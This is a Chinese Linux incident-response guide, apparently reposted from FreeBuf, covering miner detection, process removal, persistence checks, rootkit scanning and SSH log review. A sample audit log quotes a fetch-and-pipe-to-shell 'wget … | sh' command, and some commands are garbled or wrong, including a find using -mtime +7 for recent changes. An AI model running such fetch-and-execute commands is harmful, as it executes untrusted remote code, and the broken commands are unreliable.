超全面的Linux應急響應技巧

Linux環境下處理應急響應事件往往會更加的棘手,因為相比於Windows,Linux沒有像Autorun、procexp這樣的應急響應利器,也沒有統一的應急響應處理流程。所以,這篇文章將會對Linux環境下的應急響應流程進行講解,並且提供每一個環節中所用到的shell命令,以幫助大家快速、系統化地處理Linux環境下的病毒。作者:深信服千里目安全實驗室;來源:freebuf.com

超全面的Linux應急響應技巧

處理Linux應急響應主要分為這4個環節:識別現象-> 清除病毒-> 閉環兜底-> 系統加固。

首先從用戶場景的主機異常現象出發,先識別出病毒的可疑現象。

然後定位到具體的病毒進程以及病毒文件,進行清除。

完成前2步還不夠,病毒一般會通過一些自啟動項及守護程序進行重複感染,所以我們要執行閉環兜底確保病毒不再被創建。

將主機上的病毒項清除乾淨後,最後就是進行系統加固了,防止病毒從Web再次入侵進來。

走完這4個環節,才能算是一個應急響應流程的結束。

超全面的Linux應急響應技巧

識別現象

第1個環節要求我們通過系統運行狀態、安全設備告警,發現主機異常現象,以及確認病毒的可疑行為。

系統CPU是否異常

枚舉進程,CPU降序排序:top

超全面的Linux應急響應技巧

CPU佔用率超過70%且名字比較可疑的進程,大概率就是挖礦病毒了。

超全面的Linux應急響應技巧

是否存在可疑進程

枚舉進程命令行:ps -aux

超全面的Linux應急響應技巧

病毒一般都攜帶可疑的命令行,當你發現命令行中帶有url等奇怪的字符串時,就要注意了,它很可能是個病毒downloader。

超全面的Linux應急響應技巧

安全網關有無報警

從安全網關報警中識別出威脅是最直接,但確認主機已經感染了病毒只是第一步,接下來得定位,具體是哪個進程在與C&C通信。

超全面的Linux應急響應技巧

監控與目標IP通信的進程:

while true; do netstat -antp | grep [ip]; done

超全面的Linux應急響應技巧

有時安全網關檢測到的不全是惡意IP,還有可能是個域名,這種情況下,域名對應的IP是變化的,我們不能直接用上述方法進行監控。

超全面的Linux應急響應技巧

我們可以先在host文件中添加一條規則,將惡意域名重定向到一個隨機的IP地址,然後對其進行監控。

超全面的Linux應急響應技巧

這樣就能得到與之通信的惡意進程了。

超全面的Linux應急響應技巧

有無可疑歷史命令

遍歷主機歷史命令,查找有無惡意命令:history

超全面的Linux應急響應技巧

清除病毒

從第1個環節追溯到的進程信息,將會幫助我們定位到病毒進程&病毒文件,實現清除。

結束病毒進程

清除可疑進程的進程鏈:

ps -elf | grep [pid] kill -9 [pid] 
超全面的Linux應急響應技巧

刪除病毒文件

定位病毒進程對應的文件路徑:

ls -al /proc/[pid]/exe rm -f [exe_path] 
超全面的Linux應急響應技巧

閉環兜底

Linux下的病毒持久化駐留方式相比於Windows較少,主要以下4種方式。

檢查是否存在可疑定時任務

枚舉定時任務:crontab-l

超全面的Linux應急響應技巧

查看anacron異步定時任務:cat/etc/anacrontab

超全面的Linux應急響應技巧

檢查是否存在可疑服務

枚舉主機所有服務,查看是否有惡意服務:

service--status-all 

檢查系統文件是否被劫持

枚舉系統文件夾的文件,按修改事件排序查看7天內被修改過的文件:

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la 

檢查是否存在病毒守護進程

監控守護進程的行為:lsof-p[pid]

超全面的Linux應急響應技巧

strace-tt-T -etrace=all-p$pid 

掃描是否存在惡意驅動

枚舉/掃描系統驅動:lsmod

安裝chkrootkit進行掃描:

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit 

安裝rkhunter進行掃描:

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz

tar -zxvf rkhunter-1.4.4.tar.gz

cd rkhunter-1.4.4

./installer.sh --install

rkhunter -c

最後一個環節往往是大家比較容易遺忘的,Linux平臺下90%的病毒是通過網絡傳播感染的,所以,你的主機之所以會感染病毒,大部分原因也是因為Web安全防護不夠,趕緊檢查一下。

修改SSH弱密碼

查詢log主機登陸日誌:

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}' 

定位有爆破的源IP:

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c  

爆破日誌的用戶名密碼:

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\\n";}'|uniq -c|sort -nr 

SSH爆破是Linux病毒最常用的傳播手段,若存在弱密碼的主機很容易被其他感染主機SSH爆破成功,從而再次感染病毒。

從0開始學習大數據開發技術,加米穀大數據培訓機構,理論+實踐小班教學,數據分析與挖掘零基班11月16日即將開課,預報名可享優惠活動!​

添加命令審計

為歷史的命令增加登錄的IP地址、執行命令時間等信息:

[1]保存1萬條命令:

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile 

[2]在/etc/profile的文件尾部添加如下行數配置信息:

USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'` if [ "$USER_IP" = "" ] then USER_IP=`hostname` fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " shopt -s histappend export PROMPT_COMMAND="history -a" 

[3]讓配置生效:

source /etc/profile 

生成效果:

762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-) | sh 

打上常見Web漏洞補丁

structs2系列RCE漏洞 thinkphp5.XRCE漏洞 Redis未授權訪問漏洞 ConfluenceRCE漏洞(CVE_2019_3396) DrupalRCE漏洞(CVE-2018-7600) ThinkPHPRCE漏洞(CVE-2019-9082) 

結尾

Linux平臺下的惡意軟件威脅以殭屍網絡蠕蟲和挖礦病毒為主,由於Linux大多作為服務器暴露在公網,且Web應用的漏洞層出不窮,所以很容易被大範圍入侵,如常見的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要養成不使用弱密碼、勤打補丁的好習慣。


分享到:


相關文章: